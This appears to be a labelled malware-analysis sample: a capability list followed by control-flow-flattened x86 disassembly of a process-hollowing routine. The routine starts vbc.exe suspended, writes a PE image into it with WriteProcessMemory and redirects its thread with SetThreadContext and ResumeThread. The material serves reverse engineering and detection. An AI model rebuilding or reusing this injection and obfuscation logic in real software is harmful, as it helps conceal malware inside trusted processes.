Function at 0x10002780
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Inspect section memory permissions
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x17c
mov eax, dword [0x100c6e00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x184], 0x1944e402
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x188], eax
sub eax, 0x8579a68f
je 0x10004c49
jmp 0x100027bc
mov eax, dword [ebp - 0x188]
sub eax, 0x86b9844f
je 0x100053c8
jmp 0x100027d2
mov eax, dword [ebp - 0x188]
sub eax, 0x89c20492
je 0x10006069
jmp 0x100027e8
mov eax, dword [ebp - 0x188]
sub eax, 0x89d06048
je 0x10004f74
jmp 0x100027fe
mov eax, dword [ebp - 0x188]
sub eax, 0x8ca51881
je 0x1000601b
jmp 0x10002814
mov eax, dword [ebp - 0x188]
sub eax, 0x8ce03a49
je 0x10003cdb
jmp 0x1000282a
mov eax, dword [ebp - 0x188]
sub eax, 0x8ceed1af
je 0x100061eb
jmp 0x10002840
mov eax, dword [ebp - 0x188]
sub eax, 0x8d6a00eb
je 0x10005c78
jmp 0x10002856
mov eax, dword [ebp - 0x188]
sub eax, 0x8e1506a9
je 0x10005bad
jmp 0x1000286c
mov eax, dword [ebp - 0x188]
sub eax, 0x91568b11
je 0x1000466d
jmp 0x10002882
mov eax, dword [ebp - 0x188]
sub eax, 0x936df650
je 0x10006277
jmp 0x10002898
mov eax, dword [ebp - 0x188]
sub eax, 0x93bc6287
je 0x100041fc
jmp 0x100028ae
mov eax, dword [ebp - 0x188]
sub eax, 0x973912a9
je 0x1000603f
jmp 0x100028c4
mov eax, dword [ebp - 0x188]
sub eax, 0x978cab24
je 0x10003bec
jmp 0x100028da
mov eax, dword [ebp - 0x188]
sub eax, 0x97a12db7
je 0x1000473c
jmp 0x100028f0
mov eax, dword [ebp - 0x188]
sub eax, 0x98f1d12d
je 0x10005f7f
jmp 0x10002906
mov eax, dword [ebp - 0x188]
sub eax, 0x9dbf1a65
je 0x100053e9
jmp 0x1000291c
mov eax, dword [ebp - 0x188]
sub eax, 0x9eb89383
je 0x10005997
jmp 0x10002932
mov eax, dword [ebp - 0x188]
sub eax, 0xa2b0647a
je 0x10005cf8
jmp 0x10002948
mov eax, dword [ebp - 0x188]
sub eax, 0xa378e19c
je 0x10005385
jmp 0x1000295e
mov eax, dword [ebp - 0x188]
sub eax, 0xa388bfe6
je 0x10004888
jmp 0x10002974
mov eax, dword [ebp - 0x188]
sub eax, 0xa69c6f4e
je 0x1000415c
jmp 0x1000298a
mov eax, dword [ebp - 0x188]
sub eax, 0xa749e5b2
je 0x10003b36
jmp 0x100029a0
mov eax, dword [ebp - 0x188]
sub eax, 0xaa8f75e7
je 0x10005364
jmp 0x100029b6
mov eax, dword [ebp - 0x188]
sub eax, 0xad696d52
je 0x10005f64
jmp 0x100029cc
mov eax, dword [ebp - 0x188]
sub eax, 0xb180c3e2
je 0x10004467
jmp 0x100029e2
mov eax, dword [ebp - 0x188]
sub eax, 0xb2eab759
je 0x100039ec
jmp 0x100029f8
mov eax, dword [ebp - 0x188]
sub eax, 0xb3ffbb11
je 0x1000408f
jmp 0x10002a0e
mov eax, dword [ebp - 0x188]
sub eax, 0xb51a2f9b
je 0x10005af9
jmp 0x10002a24
mov eax, dword [ebp - 0x188]
sub eax, 0xb5f32589
je 0x100061c1
jmp 0x10002a3a
mov eax, dword [ebp - 0x188]
sub eax, 0xb982306d
je 0x10004efa
jmp 0x10002a50
mov eax, dword [ebp - 0x188]
sub eax, 0xb9ee559f
je 0x10004458
jmp 0x10002a66
mov eax, dword [ebp - 0x188]
sub eax, 0xc02c8114
je 0x10006000
jmp 0x10002a7c
mov eax, dword [ebp - 0x188]
sub eax, 0xc4396e11
je 0x10006054
jmp 0x10002a92
mov eax, dword [ebp - 0x188]
sub eax, 0xc4874c2f
je 0x10005e4d
jmp 0x10002aa8
mov eax, dword [ebp - 0x188]
sub eax, 0xc53b4a7e
je 0x10003816
jmp 0x10002abe
mov eax, dword [ebp - 0x188]
sub eax, 0xc567ba59
je 0x10003932
jmp 0x10002ad4
mov eax, dword [ebp - 0x188]
sub eax, 0xc77f9e32
je 0x10004559
jmp 0x10002aea
mov eax, dword [ebp - 0x188]
sub eax, 0xc79e4636
je 0x10004ea5
jmp 0x10002b00
mov eax, dword [ebp - 0x188]
sub eax, 0xcf10a2d0
je 0x10004275
jmp 0x10002b16
mov eax, dword [ebp - 0x188]
sub eax, 0xd023126d
je 0x100052cf
jmp 0x10002b2c
mov eax, dword [ebp - 0x188]
sub eax, 0xd0a550d3
je 0x10005406
jmp 0x10002b42
mov eax, dword [ebp - 0x188]
sub eax, 0xd1647003
je 0x100048d9
jmp 0x10002b58
mov eax, dword [ebp - 0x188]
sub eax, 0xd1c74e66
je 0x10006182
jmp 0x10002b6e
mov eax, dword [ebp - 0x188]
sub eax, 0xd23ed490
je 0x10004fa5
jmp 0x10002b84
mov eax, dword [ebp - 0x188]
sub eax, 0xd2651ccc
je 0x100046fe
jmp 0x10002b9a
mov eax, dword [ebp - 0x188]
sub eax, 0xd2cb5ce5
je 0x10005fac
jmp 0x10002bb0
mov eax, dword [ebp - 0x188]
sub eax, 0xd311e030
je 0x100044b8
jmp 0x10002bc6
mov eax, dword [ebp - 0x188]
sub eax, 0xd43fd9ad
je 0x100049c4
jmp 0x10002bdc
mov eax, dword [ebp - 0x188]
sub eax, 0xd64f12b0
je 0x10005c0d
jmp 0x10002bf2
mov eax, dword [ebp - 0x188]
sub eax, 0xd6e82466
je 0x1000582b
jmp 0x10002c08
mov eax, dword [ebp - 0x188]
sub eax, 0xd788fdae
je 0x100049e6
jmp 0x10002c1e
mov eax, dword [ebp - 0x188]
sub eax, 0xd7a34cd4
je 0x100038ea
jmp 0x10002c34
mov eax, dword [ebp - 0x188]
sub eax, 0xd85e0cae
je 0x1000628c
jmp 0x10002c4a
mov eax, dword [ebp - 0x188]
sub eax, 0xda83cd40
je 0x10005f46
jmp 0x10002c60
mov eax, dword [ebp - 0x188]
sub eax, 0xdb163949
je 0x1000596a
jmp 0x10002c76
mov eax, dword [ebp - 0x188]
sub eax, 0xe35a18bc
je 0x1000465e
jmp 0x10002c8c
mov eax, dword [ebp - 0x188]
sub eax, 0xe3a10c40
je 0x10005a83
jmp 0x10002ca2
mov eax, dword [ebp - 0x188]
sub eax, 0xe3fc73f3
je 0x10005ec0
jmp 0x10002cb8
mov eax, dword [ebp - 0x188]
sub eax, 0xe4839b34
je 0x10005182
jmp 0x10002cce
mov eax, dword [ebp - 0x188]
sub eax, 0xe496047b
je 0x1000557d
jmp 0x10002ce4
mov eax, dword [ebp - 0x188]
sub eax, 0xe67114c5
je 0x10003abc
jmp 0x10002cfa
mov eax, dword [ebp - 0x188]
sub eax, 0xe7102f3d
je 0x10003c65
jmp 0x10002d10
mov eax, dword [ebp - 0x188]
sub eax, 0xe71ad44c
je 0x1000576a
jmp 0x10002d26
mov eax, dword [ebp - 0x188]
sub eax, 0xe746c14e
je 0x10003ea0
push eax
mov eax, esp
mov dword [ebp - 0x140], eax
push eax
mov eax, esp
mov dword [ebp - 0x13c], eax
push eax
mov eax, esp
mov dword [ebp - 0x138], eax
push eax
mov eax, esp
mov dword [ebp - 0x134], eax
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
push eax
mov eax, esp
mov dword [ebp - 0x12c], eax
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xace00
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x168], eax
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp - 0x16c]
movzx eax, word [eax]
cmp eax, 0x5a4d
sete al
and al, 1
mov byte [ebp - 0x125], al
mov eax, dword [0x100c8138]
mov ecx, dword [0x100c8134]
mov edx, eax
add edx, 0x795114b5
sub edx, 1
sub edx, 0x795114b5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x783aa86a
mov ecx, 0xd7a34cd4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006296
mov dl, byte [ebp - 0x125]
mov eax, 0x2d5fd626
mov ecx, 0x37bd5584
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006296
mov eax, dword [ebp - 0x120]
mov edx, dword [eax + 0x3c]
mov eax, dword [ebp - 0x124]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x184], 0x12380e8a
jmp 0x10006296
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax + 0xd0]
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x184], 0x1e9d44f1
jmp 0x10006296
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_vbc.exe
mov dword [ebp - 0x178], eax
mov ecx, dword [0x100c8138]
mov eax, dword [0x100c8134]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe3fc73f3
mov ecx, 0xa749e5b2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006296
mov dword [ebp - 0x184], 0xf46460b9
jmp 0x10006296
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 8
mov dword [esp + 8], 0x2cc
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x17c]
mov dword [eax], 0x10007
mov dword [ebp - 0x184], 0x24029b2f
jmp 0x10006296
mov ecx, dword [0x100c8138]
mov eax, dword [0x100c8134]
mov edx, ecx
sub edx, 0xe675e803
sub edx, 1
add edx, 0xe675e803
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x126d0c41
mov ecx, 0x8ce03a49
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006296
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.100020d0
add esp, 4
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x170]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x110], eax
mov eax, dword [ebp - 0x170]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x10c], eax
mov eax, dword [0x100c8138]
mov ecx, dword [0x100c8134]
mov edx, eax
sub edx, 0xc0961775
sub edx, 1
add edx, 0xc0961775
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x126d0c41
mov ecx, 0xefee73ae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006296
mov ecx, dword [ebp - 0x168]
mov edx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0x100]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x168]
mov eax, dword [ebp - 0x16c]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x170]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x164]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x170]
sub ecx, 0x1f002a25
add ecx, 0x18
add ecx, 0x1f002a25
mov eax, dword [ebp - 0x170]
movzx eax, word [eax + 0x14]
sub ecx, 0x8d191877
add ecx, eax
add ecx, 0x8d191877
mov eax, dword [ebp - 0x160]
mov dword [eax], ecx
mov eax, dword [ebp - 0x15c]
mov dword [eax], 0
mov eax, dword [ebp - 0x170]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x158]
mov dword [eax], ecx
mov eax, dword [ebp - 0x154]
mov dword [eax], 0
mov dword [ebp - 0x184], 0xa69c6f4e
jmp 0x10006296
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x170]
movzx ecx, word [ecx + 6]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0xf9], al
mov dword [ebp - 0x184], 0x39f78baa
jmp 0x10006296
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x154]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xf8], eax
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0xf4], eax
mov eax, dword [0x100c8138]
mov ecx, dword [0x100c8134]
mov edx, eax
add edx, 0x2602ed2f
sub edx, 1
sub edx, 0x2602ed2f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xad696d52
mov ecx, 0xcf10a2d0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006296
mov dword [ebp - 0x184], 0xededa8e4
jmp 0x10006296
mov dword [ebp - 0x184], 0xb180c3e2
jmp 0x10006296
mov eax, dword [0x100c8138]
mov ecx, dword [0x100c8134]
mov edx, eax
sub edx, 0x4c3221f7
sub edx, 1
add edx, 0x4c3221f7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd2cb5ce5
mov ecx, 0xd311e030
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006296
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xec]
sub ecx, 0xfb54c3a0
add ecx, eax
add ecx, 0xfb54c3a0
mov eax, dword [ebp - 0xf0]
cmp eax, ecx
setbe al
and al, 1
mov byte [ebp - 0xe1], al
mov eax, dword [0x100c8138]
mov ecx, dword [0x100c8134]
mov edx, eax
add edx, 0x4bfcc38c
sub edx, 1
sub edx, 0x4bfcc38c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd2cb5ce5
mov ecx, 0x13c7cb42
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006296
mov eax, dword [0x100c8138]
mov ecx, dword [0x100c8134]
mov edx, eax
add edx, 0xa25b5ef4
sub edx, 1
sub edx, 0xa25b5ef4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x232cc68a
mov ecx, 0x635cf521
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006296
mov dword [ebp - 0x184], 0x91568b11
jmp 0x10006296
mov eax, dword [ebp - 0x154]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd8]
imul ecx, ecx, 0x28
add eax, ecx
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 0xdc]
xor ecx, ecx
sub ecx, edx
add eax, ecx
mov ecx, dword [ebp - 0xe0]
add ecx, eax
mov eax, dword [ebp - 0x15c]
mov dword [eax], ecx
mov dword [ebp - 0x184], 0x65f31091
jmp 0x10006296
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0x184], 0x4c1ec08e
jmp 0x10006296
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x184], 0x5b3c5b54
jmp 0x10006296
mov eax, dword [0x100c8138]
mov ecx, dword [0x100c8134]
mov edx, eax
add edx, 0x5e1c8252
sub edx, 1
sub edx, 0x5e1c8252
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8ca51881
mov ecx, 0xd1647003
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006296
mov dword [ebp - 0x184], 0x4f6829a
jmp 0x10006296
mov edx, dword [ebp - 0xc0]
mov eax, 0xd23ed490
mov ecx, 0xd788fdae
cmp dword [edx + 4], 0
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006296
mov eax, dword [0x100c8138]
mov ecx, dword [0x100c8134]
mov edx, eax
sub edx, 0xaba3813a
sub edx, 1
add edx, 0xaba3813a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x973912a9
mov ecx, 0xffc5d6f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006296
mov dword [ebp - 0x184], 0x1d92a8cd
jmp 0x10006296
mov eax, dword [ebp - 0x140]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x13c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x184], 0xe9adf18a
jmp 0x10006296
mov dword [ebp - 0x184], 0x1554de83
jmp 0x10006296
mov ecx, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa0]
add ecx, 0x6066ee2a
add ecx, eax
sub ecx, 0x6066ee2a
mov eax, dword [ebp - 0x15c]
mov dword [eax], ecx
mov dword [ebp - 0x184], 0x4f6829a
jmp 0x10006296
mov dword [ebp - 0x184], 0x3af04989
jmp 0x10006296
mov eax, dword [0x100c8138]
mov ecx, dword [0x100c8134]
mov edx, eax
add edx, 0xb4a66dc6
sub edx, 1
sub edx, 0xb4a66dc6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf26c9351
mov ecx, 0x5f440c4e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006296
mov eax, dword [ebp - 0x12c]
mov ecx, dword [eax]
mov edx, 0xffffffff
xor edx, 0x40000000
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x99], al
mov ecx, dword [0x100c8138]
mov eax, dword [0x100c8134]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd1c74e66
mov ecx, 0xaa8f75e7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006296
mov dl, byte [ebp - 0x99]
mov eax, 0xfc6842b1
mov ecx, 0xa378e19c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006296
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x80000000
mov ecx, 0xffffffff
xor ecx, 0x993796c1
or eax, edx
or ecx, 0x993796c1
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x184], 0x86b9844f
jmp 0x10006296
mov edx, dword [ebp - 0x98]
mov eax, 0xfc6842b1
mov ecx, 0x9dbf1a65
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006296
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x184], 0xd0a550d3
jmp 0x10006296
mov edx, dword [ebp - 0x94]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x20000000
mov eax, 0xffffffff
xor eax, 0xb8a1cca7
or edx, ecx
or eax, 0xb8a1cca7
xor edx, 0xffffffff
and edx, eax
mov eax, 0xfc6842b1
mov ecx, 0x3006017f
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006296
mov ecx, dword [0x100c8138]
mov eax, dword [0x100c8134]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1e0525cf
mov ecx, 0x2431c25b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006296
mov eax, dword [ebp - 0x12c]
mov ecx, dword [eax]
mov edx, 0xffffffff
xor edx, 0x40000000
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x8d], al
mov dword [ebp - 0x184], 0xf6b03e9f
jmp 0x10006296
mov dword [ebp - 0x184], 0xef495d18
jmp 0x10006296
mov dword [ebp - 0x184], 0xef495d18
jmp 0x10006296
mov eax, dword [0x100c8138]
mov ecx, dword [0x100c8134]
mov edx, eax
sub edx, 0xfb75e9c0
sub edx, 1
add edx, 0xfb75e9c0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8ceed1af
mov ecx, 0xe04696a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006296
mov ecx, dword [0x100c8138]
mov eax, dword [0x100c8134]
mov edx, ecx
add edx, 0x866b7734
sub edx, 1
sub edx, 0x866b7734
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xed6ddeca
mov ecx, 0xb51a2f9b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006296
mov eax, dword [ebp - 0x78]
mov edx, dword [eax + 0xc]
mov ecx, dword [ebp - 0x7c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor esi, esi
sub esi, eax
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x84]
mov edx, dword [ebp - 0x80]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [0x100c8138]
mov eax, dword [0x100c8134]
mov edx, ecx
sub edx, 0x59dc057
sub edx, 1
add edx, 0x59dc057
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xed6ddeca
mov ecx, 0x8e1506a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006296
mov dword [ebp - 0x184], 0x2896de40
jmp 0x10006296
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x74], eax
mov eax, dword [0x100c8138]
mov ecx, dword [0x100c8134]
mov edx, eax
add edx, 0x6c23af1c
sub edx, 1
sub edx, 0x6c23af1c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x936df650
mov ecx, 0x8d6a00eb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006296
mov dword [ebp - 0x184], 0x7bc2d296
jmp 0x10006296
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax + 0x28]
mov ecx, dword [ebp - 0x70]
sub ecx, 0x84670a7
add ecx, eax
add ecx, 0x84670a7
mov eax, dword [ebp - 0x17c]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x17c]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x184], 0x1c410d78
jmp 0x10006296
mov dword [ebp - 0x184], 0x2177285f
jmp 0x10006296
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_vbc.exe
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x184], 0xe67114c5
jmp 0x10006296
mov dword [ebp - 0x184], 0xe746c14e
jmp 0x10006296
mov eax, dword [ebp - 0x164]
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x184], 0x93bc6287
jmp 0x10006296
mov eax, dword [ebp - 0x158]
mov eax, dword [ebp - 0x164]
mov eax, dword [ebp - 0x154]
mov eax, dword [ebp - 0x164]
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x184], 0x263621e0
jmp 0x10006296
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x184], 0xd311e030
jmp 0x10006296
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x184], 0x2754f22c
jmp 0x10006296
mov dword [ebp - 0x184], 0xa388bfe6
jmp 0x10006296
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x184], 0xffc5d6f
jmp 0x10006296
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x184], 0x546ffd1b
jmp 0x10006296
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0xb0]
mov edx, dword [ebp - 0xac]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov edx, dword [ebp - 0x144]
mov edx, dword [edx]
movzx edx, word [eax + edx*2]
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xfff
mov eax, 0xffffffff
xor eax, 0x9560d512
or edx, esi
or eax, 0x9560d512
xor edx, 0xffffffff
and edx, eax
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x140]
mov dword [eax], ecx
mov eax, dword [ebp - 0x140]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x13c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x184], 0x6531da94
jmp 0x10006296
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x184], 0xd023126d
jmp 0x10006296
mov dword [ebp - 0x184], 0x484086a2
jmp 0x10006296
mov eax, dword [ebp - 0x130]
mov eax, dword [ebp - 0x160]
mov eax, dword [ebp - 0x134]
mov eax, dword [ebp - 0x160]
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x184], 0xe04696a
jmp 0x10006296
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x184], 0xd64f12b0
jmp 0x10006296
mov dword [ebp - 0x184], 0x4df11b7b
jmp 0x100027a0